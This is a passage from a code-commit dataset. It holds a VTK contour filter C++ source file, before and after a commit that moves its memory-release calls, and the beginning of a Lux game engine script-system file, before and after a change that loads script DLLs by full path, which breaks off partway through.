cellId);\n\t\t\t\t\tthis->UpdateProgress ((float)cellId\/numCells);\n\t\t\t\t\tif (this->GetAbortExecute())\n\t\t\t\t\t {\n\t\t\t\t\t abortExecute = 1;\n\t\t\t\t\t break;\n\t\t\t\t\t }\n\t\t\t\t\t}\n\n\t\t\t\tfor (i=0; i < numContours; i++)\n\t\t\t\t\t{\n\t\t\t\t\tcell->Contour(values[i], cellScalars, this->Locator, \n\t\t\t\t\t newVerts, newLines, newPolys, inPd, outPd,\n\t\t\t\t\t\t\t\t\t\t\t\tinCd, cellId, outCd);\n\n\t\t\t\t\t} \/\/ for all contour values\n\t\t\t\t} \/\/ for all cells\n\t\t\t} \/\/if using scalar tree\n\t\telse\n\t\t\t{\n\t\t\tif ( this->ScalarTree == NULL )\n\t\t\t {\n\t\t\tthis->ScalarTree = vtkScalarTree::New();\n\t\t\t }\n\t\t\tthis->ScalarTree->SetDataSet(input);\n\t\t\t\/\/\n\t\t\t\/\/ Loop over all contour values. Then for each contour value, \n\t\t\t\/\/ loop over all cells.\n\t\t\t\/\/\n\t\t\tfor (i=0; i < numContours; i++)\n\t\t\t\t{\n\t\t\t\tfor ( this->ScalarTree->InitTraversal(values[i]); \n\t\t\t\t\t\t(cell=this->ScalarTree->GetNextCell(cellId,cellPts,cellScalars)) != NULL; )\n\t\t\t\t\t{\n\t\t\t\t\tcell->Contour(values[i], cellScalars, this->Locator, \n\t\t\t\t\t\t newVerts, newLines, newPolys, inPd, outPd,\n\t\t\t\t\t\t\t\t\t\t\t\tinCd, cellId, outCd);\n\n\t\t\t\t\t} \/\/for all cells\n\t\t\t\t} \/\/for all contour values\n\t\t\t} \/\/using scalar tree\n\t\t} \/\/else (for if vtkUnstructuredGrid)\n\n\tvtkDebugMacro(<<\"Created: \" \n\t\t\t << newPts->GetNumberOfPoints() << \" points, \" \n\t\t\t\t << newVerts->GetNumberOfCells() << \" verts, \" \n\t\t\t\t\t\t << newLines->GetNumberOfCells() << \" lines, \" \n\t\t\t\t\t\t\t << newPolys->GetNumberOfCells() << \" triangles\");\n \/\/\n \/\/ Update ourselves. Because we don't know up front how many verts, lines,\n \/\/ polys we've created, take care to reclaim memory. \n \/\/\n\toutput->SetPoints(newPts);\n\tnewPts->Delete();\n\tcellScalars->Delete();\n \n\tif (newVerts->GetNumberOfCells())\n\t\t{\n\t\toutput->SetVerts(newVerts);\n\t\t}\n\tnewVerts->Delete();\n\n\tif (newLines->GetNumberOfCells())\n\t {\n\t output->SetLines(newLines);\n\t }\n\tnewLines->Delete();\n\n\tif (newPolys->GetNumberOfCells())\n\t\t{\n\t\toutput->SetPolys(newPolys);\n\t\t}\n\tnewPolys->Delete();\n\n\tthis->Locator->Initialize();\/\/releases leftover memory\n\toutput->Squeeze();\n\n\ttimer->StopTimer();\n\tvtkErrorMacro(<<\"elapsed time: \" << timer->GetElapsedTime());\n\ttimer->Delete();\n}\n\n\/\/ Specify a spatial locator for merging points. By default, \n\/\/ an instance of vtkMergePoints is used.\nvoid vtkContourFilter::SetLocator(vtkPointLocator *locator)\n{\n if ( this->Locator == locator ) \n {\n return;\n }\n if ( this->Locator )\n {\n this->Locator->UnRegister(this);\n this->Locator = NULL;\n }\n if ( locator )\n {\n locator->Register(this);\n }\n this->Locator = locator;\n this->Modified();\n}\n\nvoid vtkContourFilter::CreateDefaultLocator()\n{\n if ( this->Locator == NULL )\n {\n this->Locator = vtkMergePoints::New();\n }\n}\n\nvoid vtkContourFilter::PrintSelf(ostream& os, vtkIndent indent)\n{\n vtkDataSetToPolyDataFilter::PrintSelf(os,indent);\n\n os << indent << \"Compute Gradients: \" << (this->ComputeGradients ? \"On\\n\" : \"Off\\n\");\n os << indent << \"Compute Normals: \" << (this->ComputeNormals ? \"On\\n\" : \"Off\\n\");\n os << indent << \"Compute Scalars: \" << (this->ComputeScalars ? \"On\\n\" : \"Off\\n\");\n os << indent << \"Use Scalar Tree: \" << (this->UseScalarTree ? \"On\\n\" : \"Off\\n\");\n\n this->ContourValues->PrintSelf(os,indent);\n\n if ( this->Locator )\n {\n os << indent << \"Locator: \" << this->Locator << \"\\n\";\n }\n else\n {\n os << indent << \"Locator: (none)\\n\";\n }\n}\n\n<commit_msg>This moves the calls to Delete for objects being created only if we do not have an unstructured grid inside the appropriate if statement.<commit_after>\/*=========================================================================\n\n Program: Visualization Toolkit\n Module: vtkContourFilter.cxx\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\nCopyright (c) 1993-2000 Ken Martin, Will Schroeder, Bill Lorensen \nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.\n\n * Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and\/or other materials provided with the distribution.\n\n * Neither name of Ken Martin, Will Schroeder, or Bill Lorensen nor the names\n of any contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\n * Modified source versions must be plainly marked as such, and must not be\n misrepresented as being the original software.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS''\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n=========================================================================*\/\n#include <math.h>\n#include \"vtkContourFilter.h\"\n#include \"vtkScalars.h\"\n#include \"vtkCell.h\"\n#include \"vtkMergePoints.h\"\n#include \"vtkContourValues.h\"\n#include \"vtkScalarTree.h\"\n#include \"vtkObjectFactory.h\"\n#include \"vtkTimerLog.h\"\n#include \"vtkUnstructuredGrid.h\"\n#include \"vtkContourGrid.h\"\n\n\/\/------------------------------------------------------------------------------\nvtkContourFilter* vtkContourFilter::New()\n{\n \/\/ First try to create the object from the vtkObjectFactory\n vtkObject* ret = vtkObjectFactory::CreateInstance(\"vtkContourFilter\");\n if(ret)\n {\n return (vtkContourFilter*)ret;\n }\n \/\/ If the factory was unable to create the object, then create it here.\n return new vtkContourFilter;\n}\n\n\n\n\n\/\/ Construct object with initial range (0,1) and single contour value\n\/\/ of 0.0.\nvtkContourFilter::vtkContourFilter()\n{\n this->ContourValues = vtkContourValues::New();\n\n this->ComputeNormals = 1;\n this->ComputeGradients = 0;\n this->ComputeScalars = 1;\n\n this->Locator = NULL;\n\n this->UseScalarTree = 0;\n this->ScalarTree = NULL;\n}\n\nvtkContourFilter::~vtkContourFilter()\n{\n this->ContourValues->Delete();\n if ( this->Locator )\n {\n this->Locator->UnRegister(this);\n this->Locator = NULL;\n }\n if ( this->ScalarTree )\n {\n this->ScalarTree->Delete();\n }\n}\n\n\/\/ Overload standard modified time function. If contour values are modified,\n\/\/ then this object is modified as well.\nunsigned long vtkContourFilter::GetMTime()\n{\n unsigned long mTime=this->vtkDataSetToPolyDataFilter::GetMTime();\n unsigned long time;\n\n if (this->ContourValues)\n {\n time = this->ContourValues->GetMTime();\n mTime = ( time > mTime ? time : mTime );\n }\n if (this->Locator)\n {\n time = this->Locator->GetMTime();\n mTime = ( time > mTime ? time : mTime );\n }\n\n return mTime;\n}\n\n\/\/\n\/\/ General contouring filter. Handles arbitrary input.\n\/\/\nvoid vtkContourFilter::Execute()\n{\n int cellId, i, abortExecute=0;\n vtkIdList *cellPts;\n vtkScalars *inScalars;\n vtkCell *cell;\n float range[2];\n vtkCellArray *newVerts, *newLines, *newPolys;\n vtkPoints *newPts;\n vtkDataSet *input=this->GetInput();\n vtkPolyData *output=this->GetOutput();\n int numCells, estimatedSize;\n vtkPointData *inPd=input->GetPointData(), *outPd=output->GetPointData();\n vtkCellData *inCd=input->GetCellData(), *outCd=output->GetCellData();\n int numContours=this->ContourValues->GetNumberOfContours();\n float *values=this->ContourValues->GetValues();\n vtkScalars *cellScalars;\n\n vtkDebugMacro(<< \"Executing contour filter\");\n\n\tif (input->GetDataObjectType() == VTK_UNSTRUCTURED_GRID)\n\t\t{\n\t\tvtkContourGrid *cgrid;\n\n\t\tcgrid = vtkContourGrid::New();\n\t\tcgrid->SetInput(input);\n\t\tcgrid->Update();\n\t\toutput = cgrid->GetOutput();\n\t\t} \/\/if type VTK_UNSTRUCTURED_GRID\n\telse\n\t\t{\n\t\tnumCells = input->GetNumberOfCells();\n\t inScalars = input->GetPointData()->GetScalars();\n\t\tif ( ! inScalars || numCells < 1 )\n\t\t\t{\n\t\t\tvtkErrorMacro(<<\"No data to contour\");\n\t\t\treturn;\n\t\t\t}\n\n\t\tinScalars->GetRange(range);\n\/\/\n\/\/ Create objects to hold output of contour operation. First estimate allocation size.\n\/\/\n\t estimatedSize = (int) pow ((double) numCells, .75);\n\t estimatedSize *= numContours;\n\t estimatedSize = estimatedSize \/ 1024 * 1024; \/\/multiple of 1024\n\t if (estimatedSize < 1024)\n\t {\n\t estimatedSize = 1024;\n\t }\n\n\t newPts = vtkPoints::New();\n\t newPts->Allocate(estimatedSize,estimatedSize);\n\t newVerts = vtkCellArray::New();\n\t newVerts->Allocate(estimatedSize,estimatedSize);\n\t newLines = vtkCellArray::New();\n\t newLines->Allocate(estimatedSize,estimatedSize);\n\t newPolys = vtkCellArray::New();\n\t newPolys->Allocate(estimatedSize,estimatedSize);\n\t cellScalars = vtkScalars::New();\n\t cellScalars->Allocate(VTK_CELL_SIZE);\n \n \/\/ locator used to merge potentially duplicate points\n\t if ( this->Locator == NULL )\n\t\t {\n\t\t\tthis->CreateDefaultLocator();\n\t\t\t}\n\t\tthis->Locator->InitPointInsertion (newPts, input->GetBounds(),estimatedSize);\n\n \/\/ interpolate data along edge\n \/\/ if we did not ask for scalars to be computed, don't copy them\n\t\tif (!this->ComputeScalars)\n\t\t {\n\t\t outPd->CopyScalarsOff();\n\t\t }\n\t\toutPd->InterpolateAllocate(inPd,estimatedSize,estimatedSize);\n\t\toutCd->CopyAllocate(inCd,estimatedSize,estimatedSize);\n\n \/\/ If enabled, build a scalar tree to accelerate search\n \/\/\n\t\tif ( !this->UseScalarTree )\n\t\t {\n\t\t for (cellId=0; cellId < numCells && !abortExecute; cellId++)\n\t\t {\n\t\t\t cell = input->GetCell(cellId);\n\t\t\t\tcellPts = cell->GetPointIds();\n\t\t\t inScalars->GetScalars(cellPts,cellScalars);\n\n\t\t\t if ( ! (cellId % 5000) ) \n\t\t\t\t {\n\t\t\t\t\tvtkDebugMacro(<<\"Contouring #\" << cellId);\n\t\t\t\t\tthis->UpdateProgress ((float)cellId\/numCells);\n\t\t\t\t\tif (this->GetAbortExecute())\n\t\t\t\t\t {\n\t\t\t\t\t abortExecute = 1;\n\t\t\t\t\t break;\n\t\t\t\t\t }\n\t\t\t\t\t}\n\n\t\t\t\tfor (i=0; i < numContours; i++)\n\t\t\t\t\t{\n\t\t\t\t\tcell->Contour(values[i], cellScalars, this->Locator, \n\t\t\t\t\t newVerts, newLines, newPolys, inPd, outPd,\n\t\t\t\t\t\t\t\t\t\t\t\tinCd, cellId, outCd);\n\n\t\t\t\t\t} \/\/ for all contour values\n\t\t\t\t} \/\/ for all cells\n\t\t\t} \/\/if using scalar tree\n\t\telse\n\t\t\t{\n\t\t\tif ( this->ScalarTree == NULL )\n\t\t\t {\n\t\t\tthis->ScalarTree = vtkScalarTree::New();\n\t\t\t }\n\t\t\tthis->ScalarTree->SetDataSet(input);\n\t\t\t\/\/\n\t\t\t\/\/ Loop over all contour values. Then for each contour value, \n\t\t\t\/\/ loop over all cells.\n\t\t\t\/\/\n\t\t\tfor (i=0; i < numContours; i++)\n\t\t\t\t{\n\t\t\t\tfor ( this->ScalarTree->InitTraversal(values[i]); \n\t\t\t\t\t\t(cell=this->ScalarTree->GetNextCell(cellId,cellPts,cellScalars)) != NULL; )\n\t\t\t\t\t{\n\t\t\t\t\tcell->Contour(values[i], cellScalars, this->Locator, \n\t\t\t\t\t\t newVerts, newLines, newPolys, inPd, outPd,\n\t\t\t\t\t\t\t\t\t\t\t\tinCd, cellId, outCd);\n\n\t\t\t\t\t} \/\/for all cells\n\t\t\t\t} \/\/for all contour values\n\t\t\t} \/\/using scalar tree\n\n\t\tvtkDebugMacro(<<\"Created: \" \n\t\t\t\t << newPts->GetNumberOfPoints() << \" points, \" \n\t\t\t\t\t << newVerts->GetNumberOfCells() << \" verts, \" \n\t\t\t\t\t\t\t << newLines->GetNumberOfCells() << \" lines, \" \n\t\t\t\t\t\t\t\t << newPolys->GetNumberOfCells() << \" triangles\");\n\t\t\/\/\n\t\t\/\/ Update ourselves. Because we don't know up front how many verts, lines,\n\t\t\/\/ polys we've created, take care to reclaim memory. \n\t\t\/\/\n\t\toutput->SetPoints(newPts);\n\t\tnewPts->Delete();\n\t\tcellScalars->Delete();\n \n\t\tif (newVerts->GetNumberOfCells())\n\t\t\t{\n\t\t\toutput->SetVerts(newVerts);\n\t\t\t}\n\t\tnewVerts->Delete();\n\n\t\tif (newLines->GetNumberOfCells())\n\t\t\t{\n\t\t\toutput->SetLines(newLines);\n\t\t\t}\n\t\tnewLines->Delete();\n\n\t\tif (newPolys->GetNumberOfCells())\n\t\t\t{\n\t\t\toutput->SetPolys(newPolys);\n\t\t\t}\n\t\tnewPolys->Delete();\n\n\t\tthis->Locator->Initialize();\/\/releases leftover memory\n\t\toutput->Squeeze();\n\t\t} \/\/else (for if vtkUnstructuredGrid)\n}\n\n\/\/ Specify a spatial locator for merging points. By default, \n\/\/ an instance of vtkMergePoints is used.\nvoid vtkContourFilter::SetLocator(vtkPointLocator *locator)\n{\n if ( this->Locator == locator ) \n {\n return;\n }\n if ( this->Locator )\n {\n this->Locator->UnRegister(this);\n this->Locator = NULL;\n }\n if ( locator )\n {\n locator->Register(this);\n }\n this->Locator = locator;\n this->Modified();\n}\n\nvoid vtkContourFilter::CreateDefaultLocator()\n{\n if ( this->Locator == NULL )\n {\n this->Locator = vtkMergePoints::New();\n }\n}\n\nvoid vtkContourFilter::PrintSelf(ostream& os, vtkIndent indent)\n{\n vtkDataSetToPolyDataFilter::PrintSelf(os,indent);\n\n os << indent << \"Compute Gradients: \" << (this->ComputeGradients ? \"On\\n\" : \"Off\\n\");\n os << indent << \"Compute Normals: \" << (this->ComputeNormals ? \"On\\n\" : \"Off\\n\");\n os << indent << \"Compute Scalars: \" << (this->ComputeScalars ? \"On\\n\" : \"Off\\n\");\n os << indent << \"Use Scalar Tree: \" << (this->UseScalarTree ? \"On\\n\" : \"Off\\n\");\n\n this->ContourValues->PrintSelf(os,indent);\n\n if ( this->Locator )\n {\n os << indent << \"Locator: \" << this->Locator << \"\\n\";\n }\n else\n {\n os << indent << \"Locator: (none)\\n\";\n }\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include \"script_system.h\"\r\n#include <Windows.h>\r\n#include <cstdio>\r\n#include \"core\/crc32.h\"\r\n#include \"core\/file_system.h\"\r\n#include \"core\/ifile.h\"\r\n#include \"core\/json_serializer.h\"\r\n#include \"core\/log.h\"\r\n#include \"core\/pod_array.h\"\r\n#include \"engine\/engine.h\"\r\n#include \"universe\/universe.h\"\r\n#include \"universe\/component_event.h\"\r\n#include \"base_script.h\"\r\n#include \"save_script_visitor.h\"\r\n\r\n\r\nstatic const uint32_t script_type = crc32(\"script\");\r\n\r\n\r\nnamespace Lux\r\n{\r\n\tstruct ScriptSystemImpl\r\n\t{\r\n\t\tvoid postDeserialize();\r\n\t\tvoid compile();\r\n\t\tvoid getDll(const char* script_path, char* dll_path, int max_length);\r\n\t\tvoid getScriptDefaultPath(Entity e, char* path, char* full_path, int max_path, const char* ext);\r\n\r\n\t\tPODArray<int> m_scripts;\r\n\t\tPODArray<BaseScript*> m_script_objs;\r\n\t\tPODArray<HMODULE> m_libs;\r\n\t\tArray<string> m_paths;\r\n\t\tUniverse* m_universe;\r\n\t\tEngine* m_engine;\r\n\t\tbool m_is_running;\r\n\t\tScriptSystem* m_owner;\r\n\t};\r\n\r\n\r\n\ttypedef BaseScript* (*CreateScriptFunction)();\r\n\ttypedef void (*DestroyScriptFunction)(BaseScript* script);\r\n\r\n\r\n\tScriptSystem::ScriptSystem()\r\n\t{\r\n\t\tm_impl = LUX_NEW(ScriptSystemImpl);\r\n\t\tm_impl->m_owner = this;\r\n\t\tm_impl->m_is_running = false;\r\n\t}\r\n\r\n\r\n\tScriptSystem::~ScriptSystem()\r\n\t{\r\n\t\tLUX_DELETE(m_impl);\r\n\t}\r\n\r\n\r\n\tvoid ScriptSystem::setEngine(Engine& engine)\r\n\t{\r\n\t\tm_impl->m_engine = &engine;\r\n\t}\r\n\r\n\r\n\tUniverse* ScriptSystem::getUniverse() const\r\n\t{\r\n\t\treturn m_impl->m_universe;\r\n\t}\r\n\r\n\r\n\tEngine* ScriptSystem::getEngine() const\r\n\t{\r\n\t\treturn m_impl->m_engine;\r\n\t}\r\n\r\n\r\n\tvoid ScriptSystem::setUniverse(Universe* universe)\r\n\t{\r\n\t\tm_impl->m_universe = universe;\r\n\t}\r\n\r\n\r\n\tvoid ScriptSystem::start()\r\n\t{\r\n\t\tchar path[MAX_PATH];\r\n\t\tfor(int i = 0; i < m_impl->m_scripts.size(); ++i)\r\n\t\t{\r\n\t\t\tEntity e(m_impl->m_universe, m_impl->m_scripts[i]);\r\n\t\t\tm_impl->getDll(m_impl->m_paths[i].c_str(), path, MAX_PATH);\r\n\t\t\tHMODULE h = LoadLibrary(path);\r\n\t\t\tm_impl->m_libs.push(h);\r\n\t\t\tif(h)\r\n\t\t\t{\r\n\t\t\t\tCreateScriptFunction f = (CreateScriptFunction)GetProcAddress(h, TEXT(\"createScript\"));\r\n\t\t\t\tBaseScript* script = f();\r\n\t\t\t\tif(!f)\r\n\t\t\t\t{\r\n\t\t\t\t\tg_log_warning.log(\"script\", \"failed to create script %s\", m_impl->m_paths[i].c_str());\r\n\t\t\t\t\tm_impl->m_script_objs.push(0);\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\tm_impl->m_script_objs.push(script);\r\n\t\t\t\t\tscript->create(*this, e);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\tg_log_warning.log(\"script\", \"failed to load script %s\", m_impl->m_paths[i].c_str());\r\n\t\t\t\tm_impl->m_script_objs.push(0);\r\n\t\t\t}\r\n\t\t}\r\n\t\tm_impl->m_is_running = true;\r\n\t}\r\n\r\n\tvoid ScriptSystem::deserialize(ISerializer& serializer)\r\n\t{\r\n\t\tint count;\r\n\t\tserializer.deserialize(\"count\", count);\r\n\t\tm_impl->m_scripts.resize(count);\r\n\t\tm_impl->m_paths.resize(count);\r\n\t\tserializer.deserializeArrayBegin(\"scripts\");\r\n\t\tfor(int i = 0; i < m_impl->m_scripts.size(); ++i)\r\n\t\t{\r\n\t\t\tserializer.deserializeArrayItem(m_impl->m_scripts[i]);\r\n\t\t\tserializer.deserializeArrayItem(m_impl->m_paths[i]);\r\n\t\t}\r\n\t\tserializer.deserializeArrayEnd();\t\t\r\n\t\tm_impl->postDeserialize();\r\n\t}\r\n\r\n\tvoid ScriptSystem::serialize(ISerializer& serializer)\r\n\t{\r\n\t\tserializer.serialize(\"count\", m_impl->m_scripts.size());\r\n\t\tserializer.beginArray(\"scripts\");\r\n\t\tfor(int i = 0; i < m_impl->m_scripts.size(); ++i)\r\n\t\t{\r\n\t\t\tserializer.serializeArrayItem(m_impl->m_scripts[i]);\r\n\t\t\tserializer.serializeArrayItem(m_impl->m_paths[i]);\r\n\t\t}\r\n\t\tserializer.endArray();\r\n\t}\r\n\r\n\tvoid ScriptSystem::stop()\r\n\t{\r\n\t\tm_impl->m_is_running = false;\r\n\t\tfor(int i = 0; i < m_impl->m_scripts.size(); ++i)\r\n\t\t{\r\n\t\t\tDestroyScriptFunction f = (DestroyScriptFunction)GetProcAddress(m_impl->m_libs[i], \"destroyScript\");\r\n\t\t\tf(m_impl->m_script_objs[i]);\r\n\t\t\tFreeLibrary(m_impl->m_libs[i]);\r\n\t\t}\r\n\t\tm_impl->m_libs.clear();\r\n\t\tm_impl->m_script_objs.clear();\r\n\t}\r\n\r\n\tvoid ScriptSystem::update(float dt)\r\n\t{\r\n\t\tif(m_impl->m_is_running)\r\n\t\t{\r\n\t\t\tfor(int i = 0; i < m_impl->m_scripts.size(); ++i)\r\n\t\t\t{\r\n\t\t\t\tm_impl->m_script_objs[i]->update(dt);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tvoid ScriptSystem::getScriptPath(Component cmp, string& str)\r\n\t{\r\n\t\tstr = m_impl->m_paths[cmp.index];\r\n\t}\r\n\r\n\tvoid ScriptSystem::setScriptPath(Component cmp, const string& str)\r\n\t{\r\n\t\tm_impl->m_paths[cmp.index] = str;\r\n\t}\r\n\t\r\n\tvoid ScriptSystemImpl::getDll(const char* script_path, char* dll_path, int max_length)\r\n\t{\r\n\t\tstrcpy_s(dll_path, max_length, script_path);\r\n\t\tint len = strlen(script_path);\r\n\t\tif(len > 4)\r\n\t\t{\r\n\t\t\tstrcpy_s(dll_path + len - 4, 5, \".dll\"); \r\n\t\t}\r\n\t}\r\n\r\n\tvoid ScriptSystemImpl::getScriptDefaultPath(Entity e, char* path, char* full_path, int max_path, const char* ext)\r\n\t{\r\n\t\tsprintf_s(full_path, max_path, \"%s\\\\scripts\\\\e%d.%s\", m_engine->getBasePath(), e.index, ext);\r\n\t\tsprintf_s(path, max_path, \"scripts\\\\e%d.%s\", e.index, ext);\r\n\t}\r\n\r\n\tvoid ScriptSystemImpl::postDeserialize()\r\n\t{\r\n\t\tfor(int i = 0; i < m_scripts.size(); ++i)\r\n\t\t{\r\n\t\t\tEntity e(m_universe, m_scripts[i]);\r\n\t\t\tm_universe->getEventManager()->emitEvent(ComponentEvent(Component(e, script_type, m_owner, i)));\r\n\t\t}\r\n\t}\r\n\r\n\tComponent ScriptSystem::createScript(Entity entity)\r\n\t{\r\n\t\tchar path[MAX_PATH];\r\n\t\tchar full_path[MAX_PATH];\r\n\t\tm_impl->getScriptDefaultPath(entity, path, full_path, MAX_PATH, \"cpp\");\r\n\r\n\t\tFS::FileSystem& fs = m_impl->m_engine->getFileSystem();\r\n\t\tFS::IFile* file = fs.open(fs.getDefaultDevice(), full_path, FS::Mode::OPEN_OR_CREATE | FS::Mode::WRITE);\r\n\t\tfs.close(file);\r\n\r\n\t\tm_impl->m_scripts.push(entity.index);\r\n\t\tm_impl->m_paths.push(string(path));\r\n\r\n\t\tComponent cmp(entity, script_type, this, m_impl->m_scripts.size() - 1);\r\n\t\tm_impl->m_universe->getEventManager()->emitEvent(ComponentEvent(cmp));\r\n\r\n\t\treturn cmp;\r\n\t}\r\n\r\n} \/\/ ~namespace Lux<commit_msg>load script libraries using right path after open dialog is shown<commit_after>#include \"script_system.h\"\r\n#include <Windows.h>\r\n#include <cstdio>\r\n#include \"core\/crc32.h\"\r\n#include \"core\/file_system.h\"\r\n#include \"core\/ifile.h\"\r\n#include \"core\/json_serializer.h\"\r\n#include \"core\/log.h\"\r\n#include \"core\/pod_array.h\"\r\n#include \"engine\/engine.h\"\r\n#include \"universe\/universe.h\"\r\n#include \"universe\/component_event.h\"\r\n#include \"base_script.h\"\r\n#include \"save_script_visitor.h\"\r\n\r\n\r\nstatic const uint32_t script_type = crc32(\"script\");\r\n\r\n\r\nnamespace Lux\r\n{\r\n\tstruct ScriptSystemImpl\r\n\t{\r\n\t\tvoid postDeserialize();\r\n\t\tvoid compile();\r\n\t\tvoid getDll(const char* script_path, char* dll_path, char* full_path, int max_length);\r\n\t\tvoid getScriptDefaultPath(Entity e, char* path, char* full_path, int max_path, const char* ext);\r\n\r\n\t\tPODArray<int> m_scripts;\r\n\t\tPODArray<BaseScript*> m_script_objs;\r\n\t\tPODArray<HMODULE> m_libs;\r\n\t\tArray<string> m_paths;\r\n\t\tUniverse* m_universe;\r\n\t\tEngine* m_engine;\r\n\t\tbool m_is_running;\r\n\t\tScriptSystem* m_owner;\r\n\t};\r\n\r\n\r\n\ttypedef BaseScript* (*CreateScriptFunction)();\r\n\ttypedef void (*DestroyScriptFunction)(BaseScript* script);\r\n\r\n\r\n\tScriptSystem::ScriptSystem()\r\n\t{\r\n\t\tm_impl = LUX_NEW(ScriptSystemImpl);\r\n\t\tm_impl->m_owner = this;\r\n\t\tm_impl->m_is_running = false;\r\n\t}\r\n\r\n\r\n\tScriptSystem::~ScriptSystem()\r\n\t{\r\n\t\tLUX_DELETE(m_impl);\r\n\t}\r\n\r\n\r\n\tvoid ScriptSystem::setEngine(Engine& engine)\r\n\t{\r\n\t\tm_impl->m_engine = &engine;\r\n\t}\r\n\r\n\r\n\tUniverse* ScriptSystem::getUniverse() const\r\n\t{\r\n\t\treturn m_impl->m_universe;\r\n\t}\r\n\r\n\r\n\tEngine* ScriptSystem::getEngine() const\r\n\t{\r\n\t\treturn m_impl->m_engine;\r\n\t}\r\n\r\n\r\n\tvoid ScriptSystem::setUniverse(Universe* universe)\r\n\t{\r\n\t\tm_impl->m_universe = universe;\r\n\t}\r\n\r\n\r\n\tvoid ScriptSystem::start()\r\n\t{\r\n\t\tchar path[MAX_PATH];\r\n\t\tchar full_path[MAX_PATH];\r\n\t\tfor(int i = 0; i < m_impl->m_scripts.size(); ++i)\r\n\t\t{\r\n\t\t\tEntity e(m_impl->m_universe, m_impl->m_scripts[i]);\r\n\t\t\tm_impl->getDll(m_impl->m_paths[i].c_str(), path, full_path, MAX_PATH);\r\n\t\t\tHMODULE h = LoadLibrary(full_path);\r\n\t\t\tm_impl->m_libs.push(h);\r\n\t\t\tif(h)\r\n\t\t\t{\r\n\t\t\t\tCreateScriptFunction f = (CreateScriptFunction)GetProcAddress(h, TEXT(\"createScript\"));\r\n\t\t\t\tBaseScript* script = f();\r\n\t\t\t\tif(!f)\r\n\t\t\t\t{\r\n\t\t\t\t\tg_log_warning.log(\"script\", \"failed to create script %s\", m_impl->m_paths[i].c_str());\r\n\t\t\t\t\tm_impl->m_script_objs.push(0);\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\tm_impl->m_script_objs.push(script);\r\n\t\t\t\t\tscript->create(*this, e);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\tg_log_warning.log(\"script\", \"failed to load script %s\", m_impl->m_paths[i].c_str());\r\n\t\t\t\tm_impl->m_script_objs.push(0);\r\n\t\t\t}\r\n\t\t}\r\n\t\tm_impl->m_is_running = true;\r\n\t}\r\n\r\n\tvoid ScriptSystem::deserialize(ISerializer& serializer)\r\n\t{\r\n\t\tint count;\r\n\t\tserializer.deserialize(\"count\", count);\r\n\t\tm_impl->m_scripts.resize(count);\r\n\t\tm_impl->m_paths.resize(count);\r\n\t\tserializer.deserializeArrayBegin(\"scripts\");\r\n\t\tfor(int i = 0; i < m_impl->m_scripts.size(); ++i)\r\n\t\t{\r\n\t\t\tserializer.deserializeArrayItem(m_impl->m_scripts[i]);\r\n\t\t\tserializer.deserializeArrayItem(m_impl->m_paths[i]);\r\n\t\t}\r\n\t\tserializer.deserializeArrayEnd();\t\t\r\n\t\tm_impl->postDeserialize();\r\n\t}\r\n\r\n\tvoid ScriptSystem::serialize(ISerializer& serializer)\r\n\t{\r\n\t\tserializer.serialize(\"count\", m_impl->m_scripts.size());\r\n\t\tserializer.beginArray(\"scripts\");\r\n\t\tfor(int i = 0; i < m_impl->m_scripts.size(); ++i)\r\n\t\t{\r\n\t\t\tserializer.serializeArrayItem(m_impl->m_scripts[i]);\r\n\t\t\tserializer.serializeArrayItem(m_impl->m_paths[i]);\r\n\t\t}\r\n\t\tserializer.endArray();\r\n\t}\r\n\r\n\tvoid ScriptSystem::stop()\r\n\t{\r\n\t\tm_impl->m_is_running = false;\r\n\t\tfor(int i = 0; i < m_impl->m_scripts.size(); ++i)\r\n\t\t{\r\n\t\t\tDestroyScriptFunction f = (DestroyScriptFunction)GetProcAddress(m_impl->m_libs[i], \"destroyScript\");\r\n\t\t\tf(m_impl->m_script_objs[i]);\r\n\t\t\tFreeLibrary(m_impl->m_libs[i]);\r\n\t\t}\r\n\t\tm_impl->m_libs.clear();\r\n\t\tm_impl->m_script_objs.clear();\r\n\t}\r\n\r\n\tvoid ScriptSystem::update(float dt)\r\n\t{\r\n\t\tif(m_impl->m_is_running)\r\n\t\t{\r\n\t\t\tfor(int i = 0; i < m_impl->m_scripts.size(); ++i)\r\n\t\t\t{\r\n\t\t\t\tm_impl->m_script_objs[i]->update(dt);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tvoid ScriptSystem::getScriptPath(Component cmp, string& str)\r\n\t{\r\n\t\tstr = m_impl->m_paths[cmp.index];\r\n\t}\r\n\r\n\tvoid ScriptSystem::setScriptPath(Component cmp, const string& str)\r\n\t{\r\n\t\tm_impl->m_paths[cmp.index] = str;\r\n\t}\r\n\t\r\n\tvoid 